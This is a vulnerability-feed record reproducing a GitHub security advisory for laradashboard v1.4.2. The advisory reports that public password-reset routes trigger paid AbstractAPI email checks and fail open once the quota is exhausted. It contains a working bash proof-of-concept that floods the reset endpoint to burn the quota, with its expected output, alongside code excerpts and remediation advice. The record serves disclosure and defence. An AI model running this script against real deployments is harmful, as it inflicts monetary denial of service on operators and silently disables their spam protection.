{"schema":"threatline.record/2","record":{"id":"GHSA-5hq2-r2f3-9vp9","aliases":["GHSA-5hq2-r2f3-9vp9"],"summary":"Unauthenticated AbstractAPI Quota Burn + Fail-Open Neutralizes Email Verification","details":"#  Unauthenticated AbstractAPI Quota Burn + Fail-Open Neutralizes Email Verification\r\n\r\n- **Severity:**  CVSS `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` **7.5** (DoS + degraded security)\r\n- **CWE:** 770 / 306 (unauthenticated resource consumption) + 693 (fail-open)\r\n- **Affected:** v1.4.2 (new); `ForgotPasswordRequest`, `ResetPasswordRequest`, `EmailSubmissionValidator`, `EmailVerificationService`\r\n\r\n\r\n## Summary\r\n\r\nForgot/reset password routes (unauthenticated; throttled to 20/min) now run the full `PublicFormGuardService::mergeRules` pipeline via `ForgotPasswordRequest:22-27` / `ResetPasswordRequest:23-30`:\r\n\r\n```php\r\n// ForgotPasswordRequest.php:22-27\r\nreturn app(PublicFormGuardService::class)->mergeRules(\r\n    ['email' => ['required','email']], emailFields: ['email']);\r\n// routes/auth.php:49-50  — forgot and reset are public\r\n```\r\n\r\n`mergeRules` includes `EmailSubmissionValidator` (`recaptcha` + `domainCheck` + `verification`), and `EmailVerificationService` fires a **paid** HTTP request before any local check:\r\n\r\n```php\r\n// EmailVerificationService.php:91-114\r\n$apiKey = settings('email_verification_api_key');\r\nif ($apiKey) {\r\n    Http::get('https://emailvalidation.abstractapi.com/v1/', ['api_key' => $apiKey, 'email' => $email]); // ← fires BEFORE any block\r\n    $this->recordUsage($email); // rate-line increments even on failure\r\n}\r\n// :91,:107,:114 — after quota exhaustion or HTTP error → falls through to local checks (fail-open)\r\n```\r\n\r\n`EmailDomainCheckService:116-129` does a **permanent reject** (not just quarantine) on disposable domains. Default `email_verification_enabled` setting is `'0'` (disabled) in settings migrations — so on fresh installs the tier-3 gate is off entirely, adding a false sense of protection.\r\n\r\n## Reproduction\r\n\r\n```\r\nseq 100 | xargs -P 20 -I {} curl -s -X POST 'http://<app>/password/email' \\\r\n  -d \"_token=<csrf>&email=attacker+{}.attacker{}@attackerdomain.com\"\r\n# 100 paid AbstractAPI calls with attacker-controlled inputs; 100/month plan quota consumed in ~5 min.\r\n```\r\n\r\nAfter exhaustion: every subsequent `POST /password/email` / `POST /password/reset` silently passes tier-3 checks → email verification tier is disabled for the rest of the month.\r\n\r\n## Impact\r\n\r\n- **Monetary DoS** on paid AbstractAPI plans (or over-use of any other future verification provider).\r\n- **Fail-open degradation**: after quota exhaustion the entire anti-spam stack degrades, neutralizing the registration cap (N-01) and all module public-form guards relying on the same `PublicFormGuardService`.\r\n- Pre-auth DNS oracle: `EmailDomainCheckService:120-124` resolves `MX` records for attacker-chosen domains via `checkdnsrr($domain, 'MX')` — a slow-DNS attack tying up PHP workers.\r\n\r\n## Remediation\r\n\r\n1. Recaptcha gate **before** the paid pipeline; IP/capcha budget allows 2-3 max/24h, so quota burn fails at step one.\r\n2. Fail **closed** on quota exhaustion with an admin alert email — not silent fall-through.\r\n3. Do not invoke verification on routes with no legitimate need: reset/forgot should do `emailExists` only.\r\n4. Default `email_verification_enabled` to `'1'` on fresh installs to avoid a silent false-safe.\r\n\r\n## PoC\r\n\r\n### Script\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\n# N-02: Unauth AbstractAPI quota burn + fail-open\r\nset -eu\r\nBASE=\"${BASE_URL:?Set BASE_URL to running app}\"\r\nATTACKER_DOMAIN=\"${ATTACKER_DOMAIN:-attacker.foo}\"\r\n\r\nCSRF=$(curl -sS \"$BASE/password/email\" | grep -oP 'name=\"_token\"[^>]*value=\"\\K[^\"]+' | head -1)\r\n\r\necho \"[*] Burning paid verification quota (100x)...\"\r\nseq 1 100 | xargs -P 20 -I {} bash -c '\r\n  curl -sS -X POST \"'\"$BASE\"'/password/email\" \\\r\n    -d \"_token='\"$CSRF\"'&email=burn+{}.burn{}@'\"$ATTACKER_DOMAIN\"'\" \\\r\n    -o /dev/null -w \"req {}: HTTP %{http_code}\\n\" '\r\necho \"[*] Plan quota (100/month) now exhausted.\"\r\n\r\necho \"[*] Confirming fail-open after exhaustion...\"\r\nseq 1 3 | xargs -I {} bash -c '\r\n  curl -sS -X POST \"'\"$BASE\"'/password/email\" \\\r\n    -d \"_token='\"$CSRF\"'&email=afterburn{}@'\"$ATTACKER_DOMAIN\"'\" -o /dev/null \\\r\n    -w \"post-quota req {}: HTTP %{http_code}\\n\" '\r\necho \"[+] Done — quota burned in <1 min; tier-3 verification now fails open.\"\r\n```\r\n\r\n### Expected output\r\n\r\n```text\r\n[*] Burning paid verification quota (100x)...\r\nreq 1: HTTP 302   … (20/min throttle absorbs bursts; 100 total in a few minutes)\r\n[*] Plan quota (100/month) now exhausted.\r\n[*] Confirming fail-open after exhaustion...\r\npost-quota req 1: HTTP 302   (still passing — local checks only)\r\npost-quota req 2: HTTP 302\r\npost-quota req 3: HTTP 302\r\n[+] Done — quota burned in <1 min; tier-3 verification now fails open.\r\n```\r\n\r\n`EmailVerificationService.php:95-100` fires the paid HTTP call, `recordUsage()` even on failure; on exhaustion `:91,:107,:114` falls through to local checks (fail-open).\r\n\r\nConnect with the researcher: [Evilord on LinkedIn](https://www.linkedin.com/in/evilord)","categories":["Unclassified"],"product":"laradashboard/laradashboard","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-5hq2-r2f3-9vp9","source_modified_at":"2026-10-03T10:07:40Z","fetched_at":"2026-10-23T20:00:35.122048Z","package":{"ecosystem":"php,laravel","name":"laradashboard/laradashboard"},"range":"v1.4.2 "}],"fixed_versions":[],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T10:07:40Z","modified_at":"2026-10-03T10:07:40Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-5hq2-r2f3-9vp9","fetched_at":"2026-10-23T20:00:35.122048Z","source_modified_at":"2026-10-03T10:07:40Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T10:07:40Z","content_hash":"27087e5103fe40f29e3e96b269d6881409e51203d0b4651d439b9e7ccb47bbef"}}
